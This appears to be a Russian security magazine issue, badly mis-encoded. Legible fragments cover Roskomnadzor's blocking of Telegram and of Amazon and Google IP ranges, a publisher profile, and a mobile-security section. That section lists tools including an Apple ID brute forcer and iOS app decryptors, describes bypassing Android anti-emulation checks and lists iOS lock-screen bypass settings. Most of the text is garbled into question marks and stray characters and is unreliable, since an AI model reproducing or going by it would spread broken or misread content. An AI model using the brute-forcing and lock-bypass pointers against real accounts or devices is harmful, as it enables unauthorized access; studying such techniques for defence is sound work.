??� ???� ??� ???�???�?� ??� ??????� ???�?????� ?????,� ???�????� ?� ???�??,� ????
????�???� ????� ???�????� ????�???�?� ???�?� ?� ???�???� ????� ??� ???�?� ????,
???????�?�??�?�?�??�???�?�??�????�?�????�??�????.
???,�??�?��???�?�??�????��???�?????�?�?????�???�???��??�???�
??????� ???????�??.� ?� ???�???,� ?� ????�????� ??�???� ??????????�?� ???????�
???�?� ???�?� Skyeng?� ???�?� ?????�????�?� ???�?????� ??�????????????�?
?� ????�?� ???�?????� ?� Viber� ???????�???� ????�???� ?� ??????�???� ??????�?
?� ??????�??� ???�??.� ???�?� ????,� ????�?????�?� ?� ????�??�??� ?????� ??????
?�??�?��?????�??�????�???�????��??�????�????牜???�?粻(????�??�????�
??�????�???�??�??????�??� ??�????�???),牜??�????�?�,�?�??�?粻?牜????�
???�???�.
????�?�???�??�??�?�??�???�?,�???�??�?�???�???,�??�??�???????
???� ?????�???????� ???�????� ?� ???�??� ???????� ??� ???�???�??� ???�??�????
?�???�???.�??�?�?�?�???,�???�?????�?�???�???�?�??????��?????
?� ?????�???????� Twitch,� PlayStation� Network,� Steam,� Battle.net,� ?� ???�?
???????�??� ?????�????� ???� Fortnite,� Playerunknown?s� Battleground,� World?
OfWarships,燝uild燱ars�燛VE燨nline.
???�?� ????,� ?� ???� ?� ????�??�??� ?????� ??� ?� ????� ????�???�?� ????�????
?� ????�????� ?� ??????� ??�???????�?????,� Slack,� Net?ix,� Evernote,� Skype,� Mi?
crosoft燨?ce�5��??????�??燱indows,�???�?????� DuckDuckGo��??�???�
???�??�??�????�??,�???�??�??�???�?�?????�??????��??????�??�????
?????.�??�?�????�??,�??��???�????�??�???�?????�??�????�????�???�
?????� (????)� ?� ?????�???� ????�?????� ??�???????� ???� ???????� ??????
?????????????�??.� ???�?????� ????�????� ?� ???�?� ?� ??????� ???�??� �?�????
???�??粻?燫ussiaToday.
???�?� ???�???,� ???� ???�?� ???�?????�???� ?� ???�?????�?� ???�????�???
DDoS????�??,�????�???�??�??????�???�????�???�????�????.
?�????�?�??�???�??�??????�??�????�?�????�???????�??�??�???
?????�??� ????�??�???�?� ???�?????�???� ???�???� �??????� ?????粻 ??� ????�
?????�??� ?� ??????� ???�????� ???�?� hotlinerkn@rkn.gov.ru� ?� hotlinerkn@yan?
dex.ru.� ??� ???� ????�?� ????�???�???� ????�???� ?� ???�??� ???�????�?� �???�
???????�???� ?????�??�.� ????�????� ?????�???� ???�?????� ?,� ???� ?????�
???????�?,� ??????� ???�?????� ?????.� ???�?� ????�??�???�?� ??????�???� ???�
?????�???� ????�???�?� ?� ?????� (????�????�??� ?????�???�??� ?????
????????????�??????).
???�?� ????,� ????�??�???�?� ??????�??� ?????�???� ?????� ???
?????????????,��??????�???�???:牜?�??�?��??�??????�???�?�???????�
???� ?� ???,� ???� ?� ???�?� ?� ??????� ??� ????�???�??� ???�???� ?� Telegram� ???�?
???�???�???�???�??�??�??�????�?,��??�?�?�???�???�?,�??�????�??
??�???????�?????,�??�???�?�??�??�?�.�????�??�???,�??�??�??�?�???�
??� ???�?????� ???????�??,� ?� ??????�??� ??� ????�???�???� ???�??� ?� ????�
??????�????�??.
???�?��??�?????�???� ???�???�?,�??�?????�??牜???�???�???�???�??�???�
????,� ????�??,� ??� ???????�?� ??� ???� ????�??,� ????�??�?� ???�????� ?????�??,
?�???�?�??�?�??�?�?????�???�?�?�??�????�.
?� ????� ???�???,� ????�??�???�?� ???�??????�??� ???�???�??�??� ????�?
�??�?粻 ????�???�???� ???????� ?????� ???� ???�????,� ????�???�????� ?� ????�
?????�???�???�?????�????�??�???�??�??�?????營P?????�??.
�???�??�????�???�??�????�??�???�??�?????�??�???�??�??�??,
???�????,�???????�???,�?????????�????,�???�???�????��??�????-�
????� ????�???� ??????�???� ????????�?� ???�?????�???.� ??????� ???�?
??????�????????????�?????�??�??�?????�燭elegram/Twitter燖snorri51,�� Facebook,�?�??�?燿amir51@gmail.com.�???�?�?????�?�??-�
???�????� ???�?????�???,� ???� ???�??� ???�????�??� ???� ???� ???�???-�
??,� ??????,� ???�???�???� ??????�,� ?� ???�???� ???�?� �??�?粻 ?????
?????.
??�??�??,�??�???�?????�?�???�??� ???�??�???�???????�????�?��???�
?????.� ?� ????????� ???� ???�???�?� ??????�??� ???�????� ?� ????????????????�
???,�????�??�????,�???�?????�????.
???�??????
??�??�?� ?� ???�?????� ?� ????�???� The� Bell� ???�?� ???�?????�???� ????�????
?????� ????�??,� ???� �??�??????� Telegram� ???�??� ???�????�?� 30%�,� ???� ??
???� ??� ???�???.� ?????�?,� ???� ???� ????�???�??� ????�?????�??� ???�??�???
???????�???�??�????�??�?????�??????燰PN��???�?????�????.
???�?� ????,� ?????� ?????�??�?,� ???� ???�??�??� ??� ?????�????� ???�????,
???�??�??�??� ?� ??????�???� �??�????� ???�????�?粻 IP?????�??,� ????,� ?� ????�
?????� ???�??�??� ?????�??� ???�?� ???� ???� ???�?.� ??� ???� ???�??,� ???� ???�?,
?????�??�??�??�????�?�??�??�?��???�?????�?�???�?�??????�????
???,�??�?�?�??�??�???�???.
????�?� ?� ????� ???�???�?????,� ???� Amazon� ?� Google� ????� ???�???????�
????�?��??�?????�??�??????�??�?營P?????�??,�??�????�??�?�??�?????�
??.� ?????� ???�???,� ???� �??????� ????�??�?� ???�????� ?????�??� ??� ????� IP?
????�??� ??� ?????�????�,� ?� ?� ????�??�???�???� Google� ?� Amazon� �????�?
??????�.
玊elegram�??�??�???�????�?燗pp燬tore�燝oogle燩lay,�??�??�??.
???�??��??�????�???�??�????�??�??�??�???�??�????�??�???-�
???,� ???????� ???�???� ???�??� ?????�?????� ??� ???�??????� ???�??.
??????�??,�??��??�??�??,�????�?�?????.�?????�??,��??燗mazon,� ?� ???� Google� ???,� ?????�????,� ????�????� ?????:� ????� ???�???-�
??????� ?????� IP-????�??,� ??,� ???�????,� 6� ???�?????� IP� Amazon� ?
???� ????�????�?� ??????�?� ??� ????,� ???????� ?� ???� ?� ????�???� ????.
???�?�?�????�?��??�?????.�?�???�?�???�???�??�?�??�??-�
???�???�?�??�??,�????�?�???????�?�??�??????�?�??�??�,�
???�??�??�???�????�????�??�????�??牜??�?????�.
???�?� ???� ??� ???�????�??� ???�?� ???�?????�???� ?????�???� ????�??�??
???????.� ??�???�???,� ???� 25� ????�?� 2018� ????� ???�?????�??� ???�??�??
?�????�??�??�????�?��???�??�???�???營T??????�???�?�??�????,�???�
???�??� ?� ???????�???� ?????�???� ???????� ??� ????�???�??� ???�???� ?� ????�
???�??�?燭elegram.�?????�??�??????�???�???�???�???????�??????�???�
?????�燗mazon�燝oogle,�??�?�??�????�???�?????�??�??�??????燭elegram
IP?????�?牜?�????�?????�??�??�??�?��??�??�.
?� ????� ?????�?� ?????�?????� ??????�???�?� ???�?????�???� ?????� ????�
?????� ????�??,� ???� ???�????� ?� Amazon� ????� ??� ???�???� ?� ??????�???�??
??????�????,�???�???,�?�????�?????�??�??�??�????.��??��??�???�?
Google,�?�??�??�??,�??�??�??�????�??�?�????�???�???�?????��????
????�?????�?????.
??� ??????�??� ????� ???�??�??�?,� ???� ???�????� ???????� ????� ???�???�
?????� ????�?????� ???�?????� ???�????�??� ????�??� ???� ???�??�??�???�??
Telegram� ?� ???�??� ???�?????� ??� ????�?� ??� ???�?????�??,� ??� ?� ??� �???
????�,��??�??�?�??�???????�??�????.
????�?� ?� ???� ?� ???�?????�???� ???�???�???,� ???� ??� ?????�??� ?� ???,� ???
???�??�???� ??????�???� push????�??�????� (???�?????� ??� ????� ???�?
????????,��??�???,� ?????),�??�?�???�???�?????�??�??�???�??�?�???�
????�??�??????�??��????�??�???�??��??�????.�??�??�??�????�???�
???????�???�?��??�????燝oogle�燗pple,�牜????�???�?粻??�??�?�??�????�
??.
�?��??�?�???�??�??????,營P-????�?�?�???�?????�???�?.��??-�
??????� ???�?� ??� ???�?????�???� ???�????�??� ???????� ?� ????�????
????�??�??????�???�?�??�???�??�,��??�??�????�????�????.
???�?� ????�???,� ???� ???�??� ???�??� ???�????� ??� ?????�??� ???� ???� ????�
??????�???,� ???�??�?,� ???�?� ???�????� Telegram� ??� ??????�??� ???�???�??
App� Store� ?� Google� Play.� ?????� ????,� ????�??�???�?� ??????�???� ???�???
??????� ????�????�??� ???�?� ???�??�??�?� ?� ?� ???�??,� ?????�????�??� ????�
?????.� ???,� ???�??�????� ??� ???�?????�???� ???� ???????� ???�??� APK� Mirror.
????�???,�?�DA�??�??�?????�???�???�??�???�??�?�?????,�??�??�?
????� ???�?� ????�?� ??� ???�???�??� ???�????�??� ???�????� ???� iOS� ?� Android,
?� ???� ???????�??� ???�????�?� Telegram� ????� ???�???.� ??????� ???� ????????�
???�??�?�??�?�???�?��???燝oogle.
???�???� ??�??�??????,�??��?????�??�??�??�??�??��???�??�????�
??????�??:
�?� ?� ???,� ??� ?� ???,� ??� ?� ????????�??� ???� ???�????� ?� ???�??�??
?�??�????,�??????�燭elegram�?????�???�???�??�?????��??-�
????�????,�????�?????.�??�??�?��???�?????�??,�??�??��???-�
???�??�??� ???�??�??�?.� ???�????� ?????,� ???� ???�??�??� ???�??????
?� ????�??,� ???????�??� ?????�??� ??� ????�????� ?� ???�???� ???�????
???�?� ????�???� ????�?� ?� ????�???�?.� ?� ???� ???� ???� ?� ???.� ?????�?
??????�??燭elegram-???????�???�???��??�?????�??�???�??燰PN�
???�????�?�??�?????�???�??�??.�??�?�???,��?,�??�?�??�??,
???�????�?� ?� ????�??.� ????�?� ???� ?????�?,� ???� ?????� ???�??� ????
???�?,� ?� ???� ???� ???????�?� ?????� ?� ?� ???�????�???� ???� ???�???-�
????�???�?�.
?� ????� ?� 21� ??� 22� ????�?� ???�??�???� ????�?????�?� ????�???� ???�????,� ???
Google�?????�?��?????�??�??�?�?????�?�??�?�(�?????粻???�??�????�
?????,�??��??�??�??�???�??�????,��??�???�??�?,�??????�??,�??�????�
??).� ????� 22� ????�?� ???�?????�??� ???�????�?� ???�???�??,� ???� ????�????�
????� ???�??� ?� IP?????�??� Google,� ???� ???� ???�????� �?� ????�????�???� ????�
????�??�??�?????�???���?????�??�??�????�???�??�??�???�??�?????
???�????� Telegram� Messenger� Limited� Liability� Partnership� ??????�?????� ????
IP?????�?�??�??�???�??�??�??????�??�?�?�??�??????�??�??�.
??�???� ???�?� ???�????�?????� ????�????� ?� ????�????,� ???�???�???
??� ????�?????�??,� ????�??�???�?� ???�?????�???� ????�??�??� ???????�??
?� ?????�?????�?� ???�????� Google.� ??????�??� ?????�??�?,� ???� ??� ????�????�
????� ???�??� ?� Gmail,� YouTube,� ???????�???� Google� Play,� Google� Drive� ?� re?
CAPTCHA�(1,��.
???� ???�????,� ??� ???�??� ???�???�??� ?????�????�??� ?????� ???�????
????�??,�牜???�??�???�??粻???????�?�??�????�0�???�??燝oogle.
??????????? ??????
?
HEADER
? �?????�?????
???????????? VS
TELEGRAM
???????�?????�?????????????
?�??�?????
??�??�????�???�????�?�?�?????�???�???�???�??�????�???�??.�?�???�
??� ????�???� �???�????粻 ???�?� Telegram� ????�?????�?� ???�???�??� ?????�
??????�??� ??� ???�??�??,� ?� ???�?� ?????,� ???� ???� ?????� ???�???????� Bitcoin?
????�?�???�??�??�????燰PN��???�?????�????,牜?�??�??�??�?????�???�
?????�????� ?� ?????�??�???�??�???� ???�????� ?� ??????� ???�????� ???�??
?�???�????�.�??�?�???,�????�?????��??�?�?????�??��????�??�???
??�??�????�??�??�?????�?燭elegram�??�????�??�????.
?� ???�?� Telegram???????� ?????� ???�???�??� ??� ????�?� ????�?????�??,� ??� ?
???�????燗pple,燝oogle,燗mazon�燤icrosoft�?�?,�??�?�?�??�?牜???�?????
????�??� ?� ??????�??�??� ???�???�.� ?????� ????,� ?????� ?????� ?????,� ???� ????
???�??�???� ????�?????�??� ????� Telegram� ??� ???�?� ????�?� (??� ??�????�??
???,�?�??�?�???�?�???�?,��??????�??�??�????�??��???�???�??�???�
???�???�??�??????�??�??).
???�???� ???�?� ???�??� ??????� ???�???�??,� ?????� ??�??:� �?� ???�???�
??????� 7� ????� ???� ?????� ???�???�??� ?????� ????????????�???� ??� ????�??
???�??�.� ?????� ????,� ??� ????�??� �???,� ???� ???�????�???� ???�??�??
????????粻 ?????�???� ??� ????� ?????�??� ??????�??,� ?� ???�?� ????�????� ????�
????�??�????�??�?????�??��??�??�????�???�????�?�????�??�??????�
?????:��???�?,�????��:00�?�??�??�?�??�???.
???�???�????� ???�???� ????�??�??� ????�??� ??� ???�???� ????�??� ????�?
�??�?� ????:� ???�??� ???�??�,� ???�???� ??� ???????� ?????�??� ????�???�???
Bubble.� ????� ?� ???,� ???� ???� ????�??� ??????� ?????� ?????� ???�???,
?�??????�?????�????�??�?????�????�?�???��???�??�??�?�??�????�?
???�??�????�??�??�??�??.
?� ???�????�??� ????�?� Bubble� �???�????粻 ???�?� ????�????� ??????
?????�???� ???�?????,��??�?�????��????�??�?????�????�???�??�???�?
Bubble�??�????�?�??�??�?�???�?????�???�?,�??�??�??�????�牜??????�
?????�?�??????�.
??�????�?,� ???� ???� ??� ???????� ??� Life.ru� (????�?????� ?????�?� ?� ????� ????�
???????,� ????� ????�?� ???�?????�?,� ???�?� ????�???�???� Bubble)� ??�???�?
??????�?,��??????�??�?�?????�????�?�???�???��??�????��??,�??�?
�??�????�??�???�??燜acebook,�????�??�???�??燱hatsapp,�?????�??????�
??�????�????�?��??�??�?�??�??�?�????燘ubble�???�??�??�???�.
???�??� ????�???� ???�???�???� ?� ???,� ???� ???� ??� Comic� Con� Russia,� ???
????�??�??�??????�????�???�?牜???�?�???:�??�??�??�??�,�?�??�?
?????????�????�??��???�??�???�???燘ubble�?�??�?�???�?????�??�??
?�????�????�??�?�??�??�??�????��???�???�?????�??.�??�?�???�?
??� ???�??� ????�???� ???�????�??,� ???� ?????�?� ???� ???�??� ???�?� ???�?
?????�?� ??� ????,� ???� ??????�??� ?????� ???�?????� ??????????� ?� ???????�?,� ?,
???�????,� ???� ??� ????�?????�?� �??�???� ???�??�,� ?� ??� ?????�??.� ???�?
????,� ???� ????�???,� ???� ????� ???� ?????� ???�????� ???�???� ???�???� ?� ???�?
???�???�???�?�??�?�?????.�???��??,�??��????�??,��???�??�?�???�
?????�??�???,�??�??�??�??�??�???�???�?�???�???�??�??????�???�???�
???�???牜????�?�,�??�??�????�???�?�???????�???�?.
??� ???�????� ??� ?????�??� ?� ?????�??�?� ?� ???�????�?� ??� ???�??� ??????
??�???�??,�???�??????�???�??�??�??????.��???�??�?�??�?燭elegram
???�??�???�????�????�???�??�?�??�??��????:
�??� ??????� ??� ????????� ??� ?� ???�?????�????� ???� ???.� ??
????????� ??� ???�????� ???????� ???�??.� ???�??�??� ????????� ?� ???-�
???�??�??�??????��????�???�??�??�?�??�?�?????�?.�?�???
???�????� ????�?� ??� ???�???�?� ???�??�??�?� ??� ?????� ??????� ????-�
????�??�??�?�??�??????.�???�?�??�?�?�??�????�????�????�
??????�??,�??????�???�??�????�????�?.
???� ????�?� ?????� ????�?� ??????�?� ???�???????� ???�??�????�?
??????�???� ???�??� ???????�?� ????�??,� ?????� ???�?� ????� ???�??� ???-�
????�???��????��????�?�??�??��???�?????�??,�??????,�???�??
???�??� ??????????.� ?� ??????�???� ???�???�??� ???�??�?????� ???�??-�
????�??� ????� ????�?� ???�??????� ?????� ??????� ????�???� ???�???
???????�???�??�??????�????�??�???,�??��????�??��????�.
?� ???�?� ????�????� ?????� ???�?� ???�??� ????,� ?� ????� ????� �????�?� ?� ????�
?????,� ???�??� ?� ???????� ???�????�?粻 ???�??�??�?,� ????�???�?� ??� ????�?
arequest2@gmail.com.
???????????�?????
???�?� ???�???,� ???� ???� 17� ????�?� 2018� ????� ????�?� �??�?粻 ????�???�?
?????�?????� ???????�??� ???????� ?� ???�????�?� Telegram� ?� ???�????�?.
???�????�??� ????� ????????,� ?????�??� ?� ???,� ???�?????� ??� ???�?� ??????
???�?牜???�?粻?????�????.
???�????�??�?????�???�??�???�?�???�?�???�??�???�?�??�????�?????
???�???�??�??� ????�???�??� (?� ???�???,� �?�??�???� ???� ???�??粻 ?� ??�?),
??� ????� ???.� ???,� ???�????�??� ????�??�?????� ???????�??� ???�????�?
?????�???� ???� ??� ???�??� ??????�?� ??????� ???�???� ??�???,� ???� ???� ??????�
???� ???�???????�???� ??� ????� Telegram� ??� ????� ???�?????� ???�??????�??
????�????��??????�???�?????�?:
��??�??��?????�?????,��??????�???�???,�?????,�?????�??-�
????� ????�??????� ???�????�??� ?????�??,� ?� ???�???�?� ???�?????�??
????,� ??� ????�????� ??????�?� ???� ????� ?????�??� ???�??� ?� ???�??-�
?????�??� ???�??� ???�??????.� ???�??????�??� ????�????� ?� ???????
????� ??????�?� ???�???� ???????� ???�????�??� ?????�??� ?� ???�???.
???�???�????� ???�???� ????�????� Telegram� ???� ????� ?� ???�??� ?????
???�???????�???��???�????�??�?�?????�??�??�????�????�???
????�???� ?????�?????�?� ???�????�??????�??� ????�??� (????�??
??)�,��??????�??�???.
???�?� ????,� ???�?� ???�??????�??� ???�???�??�??� ????�???�??� �??�?�
?????� ?????� ????�??,� ???� ?� ?????� Google,� Amazon,� Microsoft� ?� Apple� ????
???�????�?� ????�?� ??� ????� 13� ???�???�??�??� ????�???�??� ??� ???�??,
???????�??????,� ????�??,� ???,� ????????,� ??????,� ????�?,� ?????,� ??????�
???,� ???????�?,� ???�???,� ?????,� ???.� ???� ???� ???�???� �??�?� ??� ????????
?�??�??粻?�??�??�?�????�???�???��???�??�??�???�???�??.
Telegram�????�??�?� ???�?????�???�?????�??�???,�??????�????�???�
????�??� ???�??�???� ?� ???�?????�??�??� ???�?� ???�??.� ??????� ???�???
???????�??�??�??�??????�??�?�?????��?????,�??�???�?�??�??�????�
????� ???�?????� ??????�??.� ???�????�?� ???�?????� IP?????�??� ??� ???????
�??�????�?�??????�???�??�????�??�??�???�.
????� ???�??????� �??�?????� ??????�??� ?� ??????� ???�??�??� ????�??
?� ????�???�???�??� ??????????????�??,� ????�????� ???�??� ?� ???�????� ?????�
????�??�??�?,�??�???�??�?�????�??????�??�?????�???�??�?????�???
???�??�???� Telegram粻 ??�????� ?� ?????� ???�???�????�???� ?????�??� ?????�
???�????�????�(???).
???�??�????:
�????� ???�????�??????�??� ???�????� ???�?????�???� ???�??�???
???�??� ????� ??????� ???�???� ?� ???�????�???�??�??� ????� ????�??
???�?????� ResearchGate,� ?� ????�??� ????�??� ???�????� ????�??�???
????�???�???燱iley,��??�????�???�?????�????�??�?????燡ava,�??-�
??� ???�???� Science,� ????�????� ???�???� Google� ?� ?� ????� ???�??
???????� ???�????,� ???�???�?� ??????�?????� ?� ?????�???�???�???
??????.�??????��??�???��??????�???�??�??�???�???�??�???
?�??�?�?????�?????�?�??�????�???�??,�??�???�??�??�??�???
???�??� ???�????�???�??� ?????�???�??.� ?????� ??????�??� ???�???
?�???�??�??�??�??�??�????�?????�????�???�??�??�???��???-�
????,�??,�??��???�??�??�????.�??�??�??�??�?�???�???�???
??????�?� ????�??�??� ????�??????,� ?????�????�???� ???�???�??
?????�??�???� ?????�??�????� ?????� ??????�???� ?� ???�????�???� ???-�
???� ?????�??????�???� ????�??,� ?� ???� ???�?� ???�?� ???�?????�???� ?.
?.�?????.
??�??� ???� ???�???� ?????�????� ???????�????� ????�???� ???�????
???�???�??�????�????,�??�??�?�???�?�???�??�?????�??????�??
???�???�???.�???�??��???�???�???�??�??�???,�??�??��??????
???�??????�??�?????�????,�??�?????�?????�?????�???�?��?
????� ???�?????� ?????.� ???� ????,� ???????� ?????�?� ???�????� ???�?
??????�??�??�??�???�????��???�???�??,��??�??��??�?�????-�
???,� ?????� ??� ?????� ????� ????????� ????�?????????� ???????�??
?????�???�??????��???�????�????�??�???�??�????.�????�??
???�?�?????�???,�??��???�???�???�?�????�?��??�??�????�?
???�??�??�?�??�?�??�??�?�?????,�???????,�?????�???,�??�???-�
????� ?� ???�??????�???� ???????�??� ?????� ?????�??� ???�????,
?????�???�???� ???�???� ???�????� ???????�??,� ?� ???�???� ???�???-�
????.�????,�??�??��????�???�??�??????�???�???�???�??�??-�
????�??�????�??�?�???�??�?????.
??�??� ???� ???�???� ???????�?????�?� ???�???� ???�????�??
???????�????�??�?????�???��???�?????�??�????�??�?????�???-�
???,� ????�???�???�??� ?� ???�??� ????�??�?� ???�????� ??????????????-�
???� ??� ????�?????,� ????�????� ??� ???�?� ??????�??.� ???�????�?
?� ??????�???�?� ???�?????�???,� ??� ????� ???????� ???�????� ???????
?� ??????� ????� ?????�??� ??� ???�??????� ???�??,� ???�??� ?????�?
??????�???�????�?�???�??�????�.
???�?� ????,� ????????�??� ?????�??� ???�????�???� ???�?� Flexbby� (????????
�???�???�)� ??????� ???�???�?� ????�????� ??????????????�??�?� ????�??
??????�???� ????�???????� ???�????�??� ????� ??� ????�??�???�??� ????�?
?� ???�???� ???� ???????� ????�??� ???�????,� ???�??�??�??� ??� ???�???�??.
??�??�??�??�?????�??�???�??,�??�?�?????�?????�??�??�????,�??�?
?????�???� ????�???,� ???� ???????� �??�????� ???�??� ???�???� ???�??�??�?
???�???�????�??�???�???�?��??????�??�??�????�?�.
??� ????�?� ???�?????�??� Flexbby,� ??� �???�??� ???�???�??粻 ???� ???�???�
????� ???�?� 400� ???�??�???� ????�???�??,� ??????�?????� Google� ?� Amazon.
???�???�???� ????� ?� ??????� ???�????� ???�??,� ???�??????�???�??,� ???�??
??????�???�???� ????????�?,� ?????�????,� ???�????,� ???�??�??�????� ?� ????�
????,�????�???�??�??�????��??�????.�??�????�??�???�?�????�?????�
???� ?????�????� ??????� ???�??�??�?� ???�???� ???�?� ?� ???�????� ???�????
?�??�??�??�??�????�??�???�??��??�??�??�?????.
????�?�??�??�??�???�??�??�????�??�???�?�???�??�??�???�????�
??????�??�??????�?,�??�??�??�??�?牜???�??????�??�??�????�??�?????�
??� ??????�??�,� ????????� ??????� ?� ???� ???�??.� ????�?� ????�???�??� ???
???�?????�?�??�?????�??�???�??��??�???�???�??????�??????�??.
�� ???�?� ???�??� ???�??????�???� ???�?,� ???� ???�??� ??????�??
????????� ????�????,� ????�?????�??�??� ???,� ???� ????�???�??� ???-�
????� ?� ???�????�??� ???????�??.� ???�????� ???�?????�???� ??� ???-�
?????� ?????� ???�????� ???� ????,� ???�?� ???�?????�???� Telegram,� ???-�
???�?� ???�????�??????�?� ?� ???????� ?????�???�??� ???�???�??�??
?????� ???�??�??�?� ????????????�???� ?� ??????�?� ???�?� ???�?????
????�??�?�??�???�??????�??.
??�?????�??� ???�????�???� ??????�??� ??� ???�?� ??� ?????,� ?� ????
???� ???� ???�????.� ?� ???�???�?� ???�??� ???�???????� ???� ???�?????-�
????� ?????� ?????�???�?� ????�???� ????�????�??� ???� ????�??�??�??-�
????�??�???�???�??.�???�???�??�???�???�??????�???,�?�????
???�?????� ??� ???� ?� ????�??� ???�???�???� ???�???�??� ???�??�?� ???-�
?????�??????��?????�??�????�??.�??�??�??�??�??�???�?????-�
??� ?� ????�??�???�???� ???�?� ???�?� ????????� ????� ???�?� ?� ????-�
????�?� ?� ?????�???� ????�???�??.� ???� ??� ???�??�???�????� ???�?
??� ??????� ??� ???�????�?????� ???�????� ???� ???�???????� ???,
???????,� ????� ??� ???�?,� ????�?� ???�?????� ???�?????� ???�??�???
????????�,� ?� ???????� ???????� ?????� ???�??�??�???� ???�??� ???-�
?????.
HEADER
ANDROID
???????????�?????????,�?????????
??????�?????????營OS��????????
???????�?燢OTLIN
??�??�?� ?� ?????�?:� ??????� ???�??�??�??
???�????�?,�??�????�?�???�?�??�????�?
iOS,� ?????� ??????� ??� ?????�?� ???�???�??
?� ???�???�?,� ???�???� ??????�?� ????????
???�???�??� ?� Android,� ??????� ???????�??
???�?� ?????�???� ???�??� ???�???�??,
15� ???�??�??�??,� ???????� ?????�???
??????�??�?�???�??�??�????�???,�?????�
???�??�?????�??�??�??????燗ndroid燬tu?
dio,� 31� ?????� ??� ???�?� Kotlin� ?� ???�??�??
???�?�????�??燗ndroid????�?????.
???????�?????
????????燯nixoid�燤obile
zobnin@glc.ru
???????????
? SnoopSnitch��??�???�??�??�??�??�?�??�??�?�?????�?�?�???�???�
??????��??�????�??�??�?�??????�?????
? uitkyk� ?� ????�??� ??????� Frida,� ??????�???� ????�?????� ???�???� ?????
???�???� ???�????�?� ?� ???�?� ???�????� ?� ?????�???� ???�???� ?????�?
????????????
? AndHook� ?� ???� ????� DBI?????�????� ???� Android,� ?????�??� Cydia� Sub?
strate�燲posed?
? androidre��????燚ocker��??????�??�??�??�??�???燗ndroid????�????�
???:燗pktool,爅adx,燗PKiD,燫adare2,燜rida��??�???
? iCloudBrutter��???�?????�??????燗pple營D?
? QARK� ?� ???�??�???� ???� ????�???�???�??�???� ????�?� ???�????�??� ????�
???� ?????� ?� Android????�???�????� ?� ??????�??� ???�???� QARK� ?????
??????�?????� ???????� ???�??�?� ???� ?????� ??????� ADB� ???� ???�??�??�??
???�????�??
? droidstatx��??�???,�?????�?????�??�?�??��??????�???��??�????�
???��??�??�?????�??�????�???
? avd?root��?????�??�????�?�??�???�?燗ndroid?
? b?nject��??�???�??�???�????�??�?????��????爄OS????�???�???�???�
????爄OS�.0?11.1.2��???�????�???
? bfdecrypt� ?� ???�???� ???� ?????�????� iOS????�???�???� ???�???� iOS� 11.0?
11.1.2��???�????�??.
???�?,�??�???�????�??燿roidstatx
????????
??�??�????�?????�?�????�?��??�???�?
Bypassing燗ndroid燗nti?Emulation,燩art�(I),� Part�(II)��????�?�???�??�??,�???�
?????�??�???�?�?????�?�????�?��??�???�?.�??�??�????�???�??,�???�
???�???�?�?�?????�???�??�???�??�??燗ndroid���??,�??�?????�?�???�
????� ??????� ??� ?????�?� ?� ???�???�?.� ???�??� ?????� ????�????�??� ?� ???�???�
????�?,�??�????�?????�???�??�???�??��????�???�?????.
??�????�??�????�?:
? ????�????�?� ???� ???????�?� ??????� ??� ?????�?� ?� ???�???�?� ????�???
??� ???�??� ???�?????� ???????�??� ?� ????�?� ?� ???� ????�????�??� ?????.
???�????,� Build.FINGERPRINT.startsWith("generic"),� Build.
MODEL.contains("google_sdk"),�
Build.BRAND.startsWith(
"generic").
? ???�???� ?????�????� ??????� ??� ?????�?� ?� ???�???�?� ?� ?????� ???�?
??� ????�???�?� ??� ???�??�?� ????�?� ???????�???� ???�???�??.� ??????�
??????�?� ???�???�??� ?� ???????� jadx� ???� ??????� ???�???� ?????�??????�
??,�??????�??�??�??�?�?�??�????�(??�??�?�??�?????�???��??�??�?
?�??�???�???燾arrierNameFromTelephonyManager(),爄sEmulator(
)�??� smellsLikeAnEmulator()),�????�????�??�??�???�??�???�??
?�??????燼pktool,�??????�??�?�????�??�???��???爏mali��?????�?
???.� ?� ???�??� ???�???�??� ProGuard� ???� ???�???� ???????�???� ???� ?????
???�???�???�??�(????�???�??�?�???�????�?��??�?�??�?�"ab"),�?�??
??�??�????�?�??�?.
???�??�???�?????�?�????�?��??�???�?
???�??�??�??�???
?�??�???�??�??
???�????�?�???�?�??�????�?爄OS��??�???�?�?????�??
http://blog.dinosec.com/2014/09/bypassing?ios?lock?screens.html� ?� ???�??
????� ???�????�??� ????�?� ???�????�?� iOS,� ???�??�??� ?� ???�??� iOS
5� ??� ???????.� ???�??� ????�???� ?� ????� ????�?� ??� ???�????� ???�????�??,
?�??�?�???�??�???�??�??�?�??�??�??�??.
???�?????�??�??:
? iOS�x��??�????�??
? iOS�x��??�????�???
? iOS�x���??�????�???
? iOS�x���??�????�???
? iOS�x��??�????�???
? iOS�.x���??�????�???
? iOS�.x��??�????�??.
??�???,�??�??�???�???�???�?�???�?�????�????�??�????�?:
? ??�??�?� Siri� ??� ????�?� ???�????�?:� Settings� ?� Passcode� ?� Siri� (or� Voice
Dial)�燗llow燼ccess爓hen爈ocked?
? ??�??�?燩assbook�?�???�?�??�????�?:燬ettings�燩asscode�燩assbook
?燗llow燼ccess爓hen爈ocked?
? ??�??�?燙ontrol燙enter�?�???�?�??�????�?:燬ettings�燙ontrol燙enter�
Access爋n燣ock燬creen?
? ??�??�?� ??????� ???�??�????� ??� ????�?� ???�????�?:� Settings� ?� Passcode
?燗llow燼ccess爓hen爈ocked?
? ??�??�?�????�??�????�??�???�??�?�???�?�??�????�?:燬ettings�燦o?
ti?cations�燩hone�燬how爋n燣ock燬creen?
? ??�??�?�????�??�?�???�?�??�????�?:燬ettings�燦oti?cations�燤es?
sages�燬how燩reviews?
? ??�??�?� ???�????�?/???�??�????�?� ?� ???????� ???�?:� Settings� ?� General
?燣ock/Unlock?
? ??�??�?�?????�?�???�?�??�????�?:燬ettings�燝eneral�燙amera?
? ??�?????�??�?????�?????�?????.
(??)???????�????�??�???�??,�?????�?????燗DB燱orkaround
Analysing� Use� of� High� Privileges� in� Android� Applications� ?� ?????�???�??,� ????�
?????�??� ???????�????� ???�???�??,� ??????�?????� ???� ??????�???� ADB
Workaround�??�?????�??�????�??????�??�???�??��??�???�??爎oot.
????� ?� ???�?????.� ?� Android,� ???�?� ???� ??????�???� normal� ?� dangerous
???�??????,�??�?????�????�??�???�???�(???�??�???�?��??�????�????�
??????�?),� ?????�??�?� ???�?� ???�??????� ????�?� system� ?� signature,� ???????
???�???�?�??�???�???�???�??�?????��??�???�????�???,�?????�?????�
????��????�????,�????��??�??�??�??�???,�??�????�??�???�??�???�
????�???.
???�??????�???�?爏ystem�??�????�???�?�??�???�???,�??�????�???
????�?� ?� ???�??�??� (???????� /system/priv?app),� ???�??????� signature� ?
???�???�???,� ???�????�??� ???�??� ?????� ???�??�?� (??� ????� ???,� ???????
???�?????�?�??�????��??�???�?????�???�??�?).
